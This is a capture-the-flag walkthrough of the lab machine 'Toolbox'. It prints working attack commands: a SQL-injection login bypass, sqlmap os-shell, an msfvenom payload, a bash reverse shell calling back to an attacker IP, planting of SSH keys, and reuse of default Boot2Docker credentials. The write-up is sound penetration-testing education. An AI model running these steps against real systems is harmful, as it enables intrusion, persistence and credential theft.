Toolbox
2024-02-14
INTRODUCTION
Continuing on with my “Let’s brush up on Windows!” series, Toolbox is the fourth box. For the previous one, see my walkthrough on Buff. Unfortunately, while this box was advertised as Windows, it’s actually 100% Linux. Yes, a little disappointing, but it’s still good practice. It might not seem like it right away, but if you have some experience with sqlmap, then Toolbox will be a breeze.
Recon was very short; you are only meant to find one thing, and it appears right away. To gain a foothold, just apply a little ffuf-fu and sqlmap will bridge the gap. The foothold brings you straight to the user flag. From there, take a moment to fingerprint the system in front of you: a little bit of research about the system goes a long way. If you want to finish up quickly, you don’t even need to pwn the system to gain the root flag.

RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
| 256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_ 256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
|_http-title: MegaLogistics
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after: 2021-02-17T17:45:56
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 28s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-02-14T09:39:58
|_ start_date: N/A
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
(No significant results)
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
123/udp open|filtered ntp
137/udp open|filtered netbios-ns
138/udp open|filtered tcpwrapped
427/udp open|filtered svrloc
500/udp open|filtered isakmp
520/udp open|filtered route
623/udp open|filtered asf-rmcp
626/udp open|filtered serialnumberd
1813/udp open|filtered tcpwrapped
2223/udp open|filtered tcpwrapped
4444/udp open|filtered tcpwrapped
4500/udp open|filtered tcpwrapped
5353/udp open|filtered zeroconf
Note that any
open|filteredports are either open or (much more likely) filtered.
FTP strategy
In my experience, an FTP server with anonymous login is often the best thing to check first on a box. The nmap script scan showed that anonymous login is enabled, so it’s possible to log in with the credentials anonymous : [blank]:

As noted by nmap, there is just a single file inside: docker-toolbox.exe. It’s huge, so I’ll start downloading it now (FTP command get) and proceed with enumeration while that’s going.
☝️ There are many ways to connect to an
FTPserver. You can useFTPfrom the terminal, or a full GUI likeFileZilla.For this box, I actually just used my file explorer
Thunarto anonymously connect and transfer the file: to do this, just enter the addressftp://10.10.10.236in the path bar, andThunarwill prompt you for the rest.
SMB
Something even better than an anonymous FTP login is anonymous SMB. SMB has a lot more features than FTP, and can even be utilized for RCE if it’s very poorly-configured. Unfortunately, this box has no anonymous login for smb, and the guest account is disabled:

Webserver strategy
Noting the certificate details from the nmap scan, I added megalogistic.com and admin.megalogistic.com to /etc/hosts. I don’t love the fact that I’m attacking a target with a .com TLD 👀 Regardless, I did banner grabbing on that domain:
DOMAIN=megalogistic.com
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
echo "$RADDR admin.$DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
teeinstead of the append operator>>so that I don’t accidentally blow away my/etc/hostsfile with a typo of>when I meant to write>>.
whatweb https://$RADDR && curl -kIL https://$RADDR

Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results from that. Now I’ll check for subdomains of megalogistic.com (using a vhost scan):
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

Unsurprisingly, there is an admin page (see nmap script scan). There were also a few results of size 0 that I didn’t show in the image. I’ll move on to directory enumeration on https://megalogistic.com:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
gobuster dir -w $WLIST -u https://$DOMAIN -k \
--random-agent -t 60 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "fuzzing/directory-gobuster-$DOMAIN.txt" \
--no-error
No results from that, except for the index page. What about the subdomain https://admin.megalogistic.com?
gobuster dir -w $WLIST -u https://admin.$DOMAIN -k \
--random-agent -t 60 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "fuzzing/directory-gobuster-admin.$DOMAIN.txt" \
--no-error
No results from that either.
Exploring the Website
The landing page at https://megalogistic.com is mostly uninteresting. I’ll go straight to the admin page, where I’m presented with a login.

Brute force the login
Just to eliminate the obvious, I’ll check for simple credentials by running Hydra against this login page. First, I’ll intercept the login request with Burp so that I can tailor my Hydra usage to match it:

I’ll also Forward that request, so that I can see what a failure looks like (It shows “Login failed” at the bottom of the form). Also, note that I’m using the Hydra -S flag to enable SSL.
USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWORDS=/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
hydra -L $USERS -P $PASSWORDS -S admin.megalogistic.com https-post-form "/login:username=^USER^&password=^PASS^:H=Cookie: PHPSESSID=04f330734b942b0d6e27d338dc63c319:F=Login failed"
Hydra can be very frustrating to use, due to its lack of documentation and arcane syntax. I’d like to highlight the following from the above command:
- Use method https-post-form, not http-post-form, along with the
-Soption- Provide the cookie as a portion of the header (
:H=Cookie: key1=val1; key2=val2)- The filter string (
:F=text you see if authentication failed) must be after the cookie
Hydra did not find any valid credentials with this method.
Authentication bypass
Since this is an Apache website using PHP, there’s a good chance that the backend database uses SQL. If it’s poorly-written, we might have a simple authentication bypass using SQL injection.
WLIST=/usr/share/seclists/Fuzzing/Databases/sqli.auth.bypass.txt
ffuf -w $WLIST:FUZZ -u https://admin.megalogistic.com/ -k \
-X POST -t 40 -c \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=FUZZ&password=admin" \
-fr 'Login failed'
🤓 Some people forget that
ffufis great for a lot more than vhost and directory enumeration. I’ve used it successfully for all kinds of other things, such as API fuzzing, directory traversal, LFI enumeration, and SQL injection.
This scan with ffuf was hugely successful:

You can check by running it with the -v flag, but all of these HTTP 302 results redirect to /dashboard.php 😸
Dashboard
The dashboard opens to a couple of “ToDo” notes that provide useful hints(hopefully 🤞):

Ouch, the CSS on this dashboard was really scrapped together. Although, checking out the developer’s website, it seems that this project was very early-days for them learning frontend dev. Everybody has to start somehwere! Regardless, if you click on the Orders tab (the “people” icon ) you can fix the lack of scrolling on the table by selecting this element and setting
overflow: scrollon it from your browser’s dev tools, allowing you to see the rest of the orders in the table.
There was no mention of “Tony” in the other two tabs. However, the printer driver thing might be important: I’ll go back and check those two UPnP http listeners that were discovered in the script scan.
Looking for printer
🚫 Wrong way. Skip this section if you are short on time.
I’ll run the UPnP nmap script against the two ports identified in the script scan:
nmap --script "upnp-info" -p 5985,47001 $RADDR
The result was not very helpful:
PORT STATE SERVICE
5985/tcp open wsman
47001/tcp open winrm
These two ports are listening for HTTP. Perhaps I’ll try enumerating them?
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$RADDR:5985/FUZZ -t 80 -c -e php,asp,js,html -timeout 4 -v
ffuf -w $WLIST:FUZZ -u http://$RADDR:47001/FUZZ -t 80 -c -e php,asp,js,html -timeout 4 -v
FOOTHOLD
SQLi
Since the authentication bypass was successful, there are clearly some security holes in the way that the website is handling SQL. Why not try a more comprehensive SQLi - either to enumerate the database or to gain RCE? First, I’ll try for RCE
sqlmap -u "https://admin.megalogistic.com" --cookie="PHPSESSID=04f330734b942b0d6e27d338dc63c319" --os-shell --force-ssl
Note that the
--force-ssloption was provided. When prompted, default options were chosen at every step. In the future I’ll use the--batchoption withsqlmap.)
🎉 The SQLi was successful using four different methods:

Excellent! I have a shell. At this point, I’ll try to form a reverse shell.
🚫 This part was a mistake. Skip both of the following numbered sections if you’re short on time.
Generate a reverse shell payload
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4446 X > revshell.exeStart a webserver from my attacker box, serving the payload
exesudo ufw allow from $RADDR to any port 4444,8000 proto tcp python3 -m http.server 8000Using the shell I just got from the SQLi, try contacting my python webserver (just to see if it can connect):
wget http://10.10.14.9:8000 # No request received. curl http://10.10.14.9:8000 # Yep! python http.server shows a requestUse successful method to download the payload
curl -o revshell.exe http://10.10.14.9:8000/revshell.exe
It’s odd that I’m not getting any output from these commands. Only the curl command showed any output. Things like dir and where are not working at all. Why would that be?
🤦♂️ Oh wow. I feel a little silly - this whole time my shell has been in linux!. I got output from curl because the syntax is identical between Windows cmd and Linux sh.
Let’s try that again, but assuming a Linux target:
Start up a reverse shell listener on the attacker box:
# Open the firewall sudo ufw allow from $RADDR to any port 4444 proto tcp bash rlwrap nc -lvnp 4444Open the os-shell using
sqlmap:sqlmap -u "https://admin.megalogistic.com" --os-shell --batch --forms --force-sslUsing the shell from
sqlmap, connect back to the listener on my attacker box:bash -c "bash -i >& /dev/tcp/10.10.14.9/4444 0>&1"
USER FLAG
Postgres in container
The os-shell from sqlmap or a reverse shell spawned from it are functionally the same. Either drops you into the directory /var/lib/postgresql/11/main as the user postgres. We’re clearly in a docker container - uname -a shows:
Linux bc56e3cc55e9 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux
What are the important users?
id && cat /etc/passwd | grep -v nologin | grep -v /bin/false
root:x:0:0:root:/root:/bin/bash
postgres:x:102:104:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
Oh wow, looks like postgres has a home directory - I’ll check if they have a flag: cd ~; ls -laH.
🍰 Yep! The flag is right there. Just cat it for some points.
cat user.txt
ROOT FLAG
Getting into postgres
As the user postgres I checked for listening processes:
netstat -tulpn
There is a ``PostgreSQLdatabase listening locally on port 5432. Normally, I'd simply open a proxy for the local database, so that I can access it remotely from my attacker box. However, since I'm working out of thesqlmapshell, that strategy presents a few complication. It's easier and more direct to simply read the database usingsqlmap` itself.
First, let’s check what databases exist:
sqlmap -u "https://admin.megalogistic.com" --batch --forms --dbs
[*] information_schema
[*] pg_catalog
[*] public
information_schema and pg_catalog are standard for a PostgreSQL database. Let’s read public and see what’s inside.
sqlmap -u "https://admin.megalogistic.com" --batch --forms -D public --tables
Database: public
[1 table]
+-------+
| users |
+-------+
Super! Finally, let’s check what’s inside by dumping the table:
sqlmap -u "https://admin.megalogistic.com" --batch --forms -D public -T users --dump
Database: public
Table: users
[1 entry]
+----------------------------------+----------+
| password | username |
+----------------------------------+----------+
| 4a100a85cb5ca3616dcf137918550815 | admin |
+----------------------------------+----------+
Nice, that looks like an unsalted password hash. I tossed it into crackstation.net to see if I could get away with not even cracking it. No luck there. I’ll identify the hash type then start cracking:

🤔 Hmm… I ran the hash through both john and hashcat, but didn’t get any result. I’ll come back to this hash later - for now try to find another way forward.
docker-toolbox.exe
Well, now that I know I’m inside a docker container, it suddenly feels a lot more relevant to check out that docker-toolbox.exe that I downloaded from the FTP server
A little bit of research showed that Docker Toolbox was the predecessor to Docker Desktop for Windows, but is now long-obsolete. Reading through the docker archive / toolbox repo on Github, I’ve discovered that every release of docker toolbox came bundled with an .iso image of Boot2Docker.iso and virtualbox.
👀 Does Docker on Windows not use overlayFS?! It’s hard to see the advantage over a traditional VM, if it simply uses a
.isoformat.
🔔 “boot2docker” might ring a bell - it’s the flavour of linux that is used for this container: 4.14.154-boot2docker. A little more searching led to the Github repo for boot2docker. Halfway down the README, the default credentials are listed:

Ok, so there should be SSH credentials. I’ll see if the default docker user is on the host machine. First, I’ll get the address of the host:
# Check interfaces within the container
ifconfig
# Check routes
arp -va
? (172.17.0.1) at 02:42:91:33:c3:db [ether] on eth0
Entries: 1 Skipped: 0 Found: 1
Great, I’ll try to connect over ssh to that, using the credentials docker : tcuser:

Huh? Oh, I see: I need to upgrade my reverse shell into a terminal before I can even attempt to use SSH 💡. Please see my guide on upgrading the shell for more detail. For this, I used a regular bash upgrade:
SHELL=/bin/bash script -q /dev/null

The SSH attempt worked perfectly after that. If I’m understanding correctly, I’ve now pivoted from the postgres user (in the docker container) into the docker user (in the VM that is running the container).
Persistence: docker
🚫 Wrong way. Skip this section if you’re short on time.
My reverse shell keeps dying after approximately a minute, so I’m very eager to establish a more persistent way to access the target. Redoing the whole sqlmap > reverse shell > shell upgrade > ssh chain is getting quite tedious. Thankfully, when I initially gained access I quickly checked the home directory of docker:

I’ll prepare an SSH key and plant it into both authorized_keys files. First, on my attacker box, I’ll generate a key and base-64 encode it:
# used passphrase "3agle":
ssh-keygen -t rsa -b 4096
chmod 700 ./id_rsa
# copy output to clipboard
base64 -w 0 id_rsa.pub > id_rsa.pub64 && cat id_rsa.pub64
Then, on the target box, make an SSH directory and plant the key:
cd ~/.ssh
echo "ssh-rsa AAAAB3...obw== kali@kali" >> authorized_keys
echo "ssh-rsa AAAAB3...obw== kali@kali" >> authorized_keys2
Now back on the attacker box, go ahead and connect using SSH:
ssh -i ./id_rsa docker@$RADDR
Hmm… It still is not working. Is my reverse shell still in the docker container?

Whatever. I’ll proceed and just try to move fast (before the reverse shell dies again) 🤷♂️
Enumeration: docker
It looks like docker can sudo anything without a password; it seems that (at least inside this container) I have full access.

The home directory
🚫 Wrong way. Skip this section if you’re short on time.
Taking a look inside ~/.docker, there are three .pem files. One of them, key.pem looks like it is an RSA key, so I might be able to log in using that key. I copied and pasted the contents to a local version of key.pem on my attacker box. I’ll start up PuTTY and try it out:
- Specify the IP address under Session
- Under Connection > SSH > Auth > Credentials, browse to and select
key.pem - Under Session again, give the session a name (“Toolbox” is fine), and click Save
- Finally, click Open

Nope! I guess those keys and certs weren’t actually useful.
root directory
Checking out the root directory / shows something very peculiar. 🤔 This “c” directory is not standard Linux:

Oh nice! Inside is the directory Users. It’s part of a Windows filesystem 👏 And the root flag is sitting there in plain view:

EXTRA CREDIT: FULL PWN
Administrator SSH key
Under /c/Users/Administrator there is (like docker) a .ssh directory containing a private key:

I’ll copy this over to my attacker box and see if I can log in with it.
# paste the above key into loot/id_rsa
chmod 700 loot/id_rsa
ssh -i loot/id_rsa Administrator@$RADDR

🍒 Alright! a nice SSH connection for Administrator. You can type the root flag now if you haven’t already obtained it.
LESSONS LEARNED

Attacker
- When authentication bypass using SQLi is possible, RCE is likely also possible . The SQLi authentication bypass is evidence of faulty handling of user inputs that communicate with a database. As soon as the auth bypass is discovered, point
sqlmapat it and see what it can do. - Hashes aren’t always useful. Thankfully, the hash that I recovered on this box was likely either MD5 or NTLM, both of which are very very fast to compute. Hence, I was able to run it through even my largest password wordlists in a matter of seconds. After doing that, I was quite confident that I wasn’t “meant” to crack that hash.
- Keys aren’t always useful. Again, thankfully, it was easy to eliminate the possibility of them being useful - all I had to do was attempt a few SSH logins.
- Check for default credentials. This is especially useful for software that is a little old (say, pre-2018?), or software that the developer thought would never be exposed to the public-facing internet. There are plenty of wordlists in Kali to help with this, but the best resource is still just a simple web search.

Defender
Defense in depth is an important paradigm. This box failed to change default credentials on an important service, and this led to us escalating our way out of the docker container. While it may have seemed to the developer that the host VM would never be exposed to public-facing internet, the truth is that their usage of default credentials made the escalation completely trivial.
Keep filesystems separate. Having a shared volume between a host system and a VM can be very convenient, but it should be removed whenever the system goes in to Production.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake
